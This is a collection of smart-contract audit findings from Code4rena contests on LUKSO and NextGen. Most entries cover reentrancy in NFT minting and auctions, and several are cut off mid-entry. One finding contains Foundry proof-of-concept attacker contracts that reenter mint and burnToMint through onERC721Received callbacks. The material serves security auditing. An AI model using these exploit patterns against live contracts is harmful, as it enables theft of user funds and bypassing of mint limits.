xanoutas/solidity-security-findings huggingface dataset:
lack of proper check on the address
Audit: 2023-06-lukso-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-06-lukso/blob/bd49f57c32a522563fc42feeee23c83c8b373405/contracts/Mocks/LSP20Owners/FallbackReturnMagicValue.sol#L30-L37


# Vulnerability details

## Impact
Detailed description of the impact of this finding.
require statement needs to be added to prevent usage of a zero address

## Proof of Concept
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
    function acceptOwnership(address newTarget) external { @audit
        target = newTarget;
        ILSP14Ownable2Step(target).acceptOwnership();
    }


    function transferOwnership(address newOwner) external { @audit
        ILSP14Ownable2Step(target).transferOwnership(newOwner);
    }

## Tools Used
vscode
## Recommended Mitigation Steps
use require(address != 0)


## Assessed type

Other
Calls transfer()/transferFrom() With IERC20
Audit: 2023-06-lukso-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-06-lukso/blob/main/contracts/LSP7DigitalAsset/extensions/LSP7CompatibleERC20.sol#L84


# Vulnerability details



## Calls transfer()/transferFrom() With IERC20
- Severity: Medium
- Confidence: High

### Description
The transfer() and transferFrom() methods are part of the ERC-20 standard, designed for transferring tokens between accounts. However, these methods could be risky when transferring tokens to smart contracts because they don't guarantee that the receiving smart contract will handle the transferred tokens correctly, potentially leading to permanent token loss. ERC-20 standard doesn't include a 'onTokenReceived' function or similar to alert the recipient about incoming transfers. Therefore, the 'transfer' and 'transferFrom' functions are not reliable for interactions with arbitrary contracts. A safer alternative is to use safeTransfer() and safeTransferFrom() methods provided by libraries like OpenZeppelin's SafeERC20. These methods add a layer of protection by checking if the recipient is a contract and if it has a function to handle incoming tokens. If these checks are not passed, the transfer operation is not executed, hence preventing potential token loss.

<details>

<summary>
There are 4 instances of this issue:

</summary>

###
- File: contracts/LSP7DigitalAsset/extensions/LSP7CompatibleERC20.sol
```
 
Line: 84          transfer(from, to, amount, true, "")
```
 use safeTransferFrom instead.

[https://github.com/code-423n4/2023-06-lukso/blob/main/contracts/LSP7DigitalAsset/extensions/LSP7CompatibleERC20.sol#L84](https://github.com/code-423n4/2023-06-lukso/blob/main/contracts/LSP7DigitalAsset/extensions/LSP7CompatibleERC20.sol#L84)


- File: contracts/LSP7DigitalAsset/extensions/LSP7CompatibleERC20.sol
```
 
Line: 99          transfer(msg.sender, to, amount, true, "")
```
 use safeTransferFrom instead.

[https://github.com/code-423n4/2023-06-lukso/blob/main/contracts/LSP7DigitalAsset/extensions/LSP7CompatibleERC20.sol#L99](https://github.com/code-423n4/2023-06-lukso/blob/main/contracts/LSP7DigitalAsset/extensions/LSP7CompatibleERC20.sol#L99)


- File: contracts/LSP7DigitalAsset/extensions/LSP7CompatibleERC20InitAbstract.sol
```
 
Line: 92          transfer(from, to, amount, true, "")
```
 use safeTransferFrom instead.

[https://github.com/code-423n4/2023-06-lukso/blob/main/contracts/LSP7DigitalAsset/extensions/LSP7CompatibleERC20InitAbstract.sol#L92](https://github.com/code-423n4/2023-06-lukso/blob/main/contracts/LSP7DigitalAsset/extensions/LSP7CompatibleERC20InitAbstract.sol#L92)


- File: contracts/LSP7DigitalAsset/extensions/LSP7CompatibleERC20InitAbstract.sol
```
 
Line: 107          transfer(msg.sender, to, amount, true, "")
```
 use safeTransferFrom instead.

[https://github.com/code-423n4/2023-06-lukso/blob/main/contracts/LSP7DigitalAsset/extensions/LSP7CompatibleERC20InitAbstract.sol#L107](https://github.com/code-423n4/2023-06-lukso/blob/main/contracts/LSP7DigitalAsset/ext
Usage of _safeMint in NextGenCore@_mintProcessing allows an attacker to reenter when onERC721Received is called
Audit: 2023-10-nextgen-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L227-L232
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L213-L223
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L189-L200
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L236
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L270


# Vulnerability details

## Impact
An attacker can :
* Exceed the per address allowance in `Fixed Price Sale`, `Exponential Descending Sale` and `Linear Descending Sale` modes.
* Cause a loss for another user in `Burn-to-Mint` mode by accepting an offer when `onERC721Received` is triggered.

## Proof of Concept
### Test Setup
##### Init
`forge init --no-git --force`

##### foundry.toml config
```toml
[profile.default]
src = "smart-contracts"
out = "out"
libs = ["lib"]
```

### Test
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import "../smart-contracts/MinterContract.sol";
import "../smart-contracts/NextGenAdmins.sol";
import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/NFTdelegation.sol";
import "../smart-contracts/RandomizerNXT.sol";
import "../smart-contracts/XRandoms.sol";
import "../smart-contracts/IERC721Receiver.sol";
import "../smart-contracts/AuctionDemo.sol";

contract ReentrantMinter is IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        bytes32[] memory proof;

        operator.call(
            abi.encodeCall(
                NextGenMinterContract.mint,
                (1, 1, 0, "", address(this), proof, address(0), 0)
            )
        );

        return IERC721Receiver.onERC721Received.selector;
    }
}

contract ReentrantSeller is IERC721Receiver {
    address _coreContract;
    address _buyer;
    uint256 _burntToken;

    constructor(address coreContract) {
        _coreContract = coreContract;
    }

    function exploit(address target, address buyer, uint256 tokenId) external {
        _burntToken = tokenId;
        _buyer = buyer;

        target.call(
            abi.encodeCall(
                NextGenMinterContract.burnToMint,
                (1, tokenId, 2, 0)
            )
        );
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        // Simulate sale
        if (_buyer != address(0) && _burntToken != tokenId) {
            _coreContract.call(
                abi.encodeCall(
                    ERC721.transferFrom,
                    (address(this), _buyer, _burn
Multiple re-entrancy issues allowing stealing of funds and bypassing protocol mint limits
Audit: 2023-10-nextgen-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L196-L254


# Vulnerability details

## Impact
Multiple re-entrancy issues exist in the codebase, that break core functionality and allow stealing of user funds.
In AuctionDemo.sol contract re-entrancy in `cancelBid` and `cancelAllBids` allows stealing of user funds.
There are multiple attack surfaces, which include a winner of the auction refunding all of his money and receiving NFT for free, and which also include a possiblity of a malicious bidder to refund 2x of his money.
Here is the code snippent that transfers NFT to the winner and pays owner money for that NFT: 
```solidity
IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
(bool success, ) = payable(owner()).call{value: highestBid}("");
emit ClaimAuction(owner(), _tokenid, success, highestBid);
```
If `highestBidder` is a contract that implements onIERC721Received, in the callback to that contract `highestBidder` can call `cancelAllBids`, which will refund him all of his money back, leaving him with a free NFT. It may leave the contract with no funds, but all other calls that transfer money won't revert, since there are no checks on return value of those calls. Impact of that would be that either owner or other bidders won't receive their money back.

Another attack surface that exists in AuctionDemo.sol allows a bidder to refund 2x of his bid.
In the `else if` block of the `claimAuction` unsuccessful bidders are refunded: 
```solidity
else if (auctionInfoData[_tokenid][i].status == true) {
(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid("");
emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
```
If the bidder is a smart contract, it can implement a `receive` function, that will call `cancelAllBids` when money are transferred to them. 
The impact would be that the last bidder in the array would not receive his funds, because someone already claimed them.

Cross-contract re-entrancy also exists in MinterContract.sol and NextGenCore.sol. In order for a user to mint an NFT, he has to call MinterContract::mint(), which will call `mint()` on NextGenCore. `mint()` function of the core contract calls `_mintProccesing` before updating important state that is responsible for keeping track of minted NFT's. 
```solidity
 _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
if (phase == 1) {
tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
} else {
tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
}
```
`_mint
Reentrancy in mint function leads to various problems
Audit: 2023-10-nextgen-findings
Severity: HIGH

# Lines of code

Mint function in minter contract: https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L196-L254
Mint function in core contract: https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L189-L200


# Vulnerability details

## Bug Description
When minting NFTs, users will using the `mint` function. This function will mint a NFT using the `_safeMint` function. The problem is that this mint will be done before crucial variables are updated.

Mint before checking the `salesOption == 3` conditions are fulfilled in `MinterContract.sol`:
````
        for(uint256 i = 0; i < _numberOfTokens; i++) {
            uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
            gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase);
        }
        collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value;
        // control mechanism for sale option 3
        if (collectionPhases[col].salesOption == 3) {
            uint timeOfLastMint;
            if (lastMintDate[col] == 0) {
                // for public sale set the allowlist the same time as publicsale
                timeOfLastMint = collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod;
            } else {
                timeOfLastMint =  lastMintDate[col];
            }
            // uint calculates if period has passed in order to allow minting
            uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod;
            // users are able to mint after a day passes
            require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period");
            lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1));
        }
````
Mint before updating `tokensMintedAllowlistAddress` and `tokensMintedPerAddress` in `NextGenCore.sol` `mint`.
````
            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
            if (phase == 1) {
                     tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
            } else {
                     tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
            }
````

The vulnerability arises during the execution of the `_safeMint` function, which involves the usage of `_checkOnERC721Received`. Exploiting this, attackers can repeatedly mint NFTs by employing a smart contract that reenters the function upon receiving the call of `_checkOnERC721Received`. The minting process occurs prior to updating crucial variables such as `tokensMintedAllowlistAddress` and `tokensMintedPerAddress`, as well as implementi
The protocol is susceptible to reentrancy attacks.
Audit: 2023-10-nextgen-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L231


# Vulnerability details

Reentrancy is a well know bug in smart contract and the protocol is not handling it, The safeMint function in ERC721 make a callback to the receiver checking if they can hold a nft, this can be used to a receiver to take control of the execution of the call. in this cases a malicius receiver can use this reentrancy problem to abuse the protocol in the following ways:

```
file:/2023-10-nextgen/smart-contracts/MinterContract.sol

    function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable {
        ...
        for(uint256 i = 0; i < _numberOfTokens; i++) {
            uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
      -->   gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase); //@audit minting
        }
        collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value;
        // control mechanism for sale option 3
        if (collectionPhases[col].salesOption == 3) {
            uint timeOfLastMint;
            if (lastMintDate[col] == 0) {
                // for public sale set the allowlist the same time as publicsale
                timeOfLastMint = collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod;
            } else {
                timeOfLastMint =  lastMintDate[col];
            }
            // uint calculates if period has passed in order to allow minting
            uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod;
            // users are able to mint after a day passes
            require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period");
            lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1));
        }
    }
```
[[Link]](https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L196C1-L254C6)

```
function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
            ...
            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
            ...
    }

    function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal {
       ...
        _safeMint(_recipient, _mintIndex);
    }


```
[[Link]](https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L189C5-L200C6) [[Link]](https://git
Reentrancy issue. User can easily mint more than allowed presale, bypassing merkle root limit
Audit: 2023-10-nextgen-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L220
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L192-L199


# Vulnerability details


## Impact

Lack of reentrancy protection and code not follow *Checks, Effects, Interactions* pattern guideline.

Here are the *Effects* stuff happen after *Interactions* affected by reentrancy:

- `tokensMintedAllowlistAddress`: tracking presale minted NFT per address.
- `tokensMintedPerAddress`: tracking public minted NFT per address.
- `lastMintDate`: tracking last mint auction price, only for off-chain price calculation.
- `collectionTotalAmount`: tracking income, only for off-chain view.
- `burnAmount`: tracking burn NFT, only for off-chain view.

Only presale tracking part have anything to do with possible finance damage, because user can bypass presale limit tracked by merkleroot.

The only one hurt by this exploit is NFT project use sale option 3 where price increase for each token mint.
If user can bypass presale limit, they can mint at much lower price than other user.
It would be unfair to other user who mint at the end of presale, whom might have to pay higher price than other user.

Other case include when presale price is much lower than public sale. This require admin updated price when presale end.

## Proof of Concept

All NFT minting go through `_mintProcessing()` function
<https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L227-L232>

It call `_safeMint()` which by default have callback `onERC721Received()`.
<https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/ERC721.sol#L245-L251>

So anything change after `_mintProcessing()` can be exploited by reentrancy.

We only care about this variable `tokensMintedAllowlistAddress`,track token count change for presale user, after `_mintProcessing()`
<https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L192-L199>

As show here this variable is used for get amount of token minted for presale user.
<https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L404-L406>
<https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L212-L219>

Because presale `mint()` function is called before `tokensMintedAllowlistAddress` is changed, exploiter can simply use the same merkleroot to mint again during `onERC721Received()` callback.

## Tools Used

manual

## Recommended Mitigation Steps

Add reentrancy protection



## Assessed type

Reentrancy
An attacker can mint more than they are allowed due to MinterContract.sol#mint() reentrancy vulnerability
Audit: 2023-10-nextgen-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L196-L254
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L189-L200


# Vulnerability details

## Bug Description

`_mintProcessing()` in `NextGenCore.sol` calls OpenZeppelin’s `_safeMint()` from their ERC721 contract to mint a token. `_safeMint()` checks if the target address is a contract by calling `_checkOnERC721Received()` to ensure it supports receiving NFTs. If the target address is a contract and implements `onERC721Received()` as expected, it may contain malicious logic that allows for a reentrancy attack into `mint()` as it does not follow the checks, effects and interactions (CEI) pattern in `NextGenCore.sol` and `MinterContract.sol`. The problem arises due to the transaction dependency order, [NextGenCore.sol#L193-L198](https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L193-L198):

```solidity
_mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
if (phase == 1) {
tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
} else {
tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
}
```

`_mintProcessing()` is called before `tokensMintedPerAddress` is updated. This enables the attacker to reenter `mint()` and mint more than the `_maxCollectionPurchases` without their `tokensMintedPerAddress` being updated, allowing them to bypass this require statement [MinterContract.sol#L224](https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L224):

```solidity
require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");
```

To add to this, if a collection is set to a periodic sales model whereby mints are limited to 1 token during each time period (e.g. minute, hour, day), this limit can also be bypassed allowing the attacker to mint multiple tokens within a time period. Looking at the transaction order [MinterContract.sol#L234-L240](https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L234-L240):

```solidity
for(uint256 i = 0; i < _numberOfTokens; i++) {
uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase);
}
collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value;
// control mechanism for sale option 3
if (collectionPhases[col].salesOption == 3) {
```

`gencore.mint()` is called before the logic for a collection with a periodi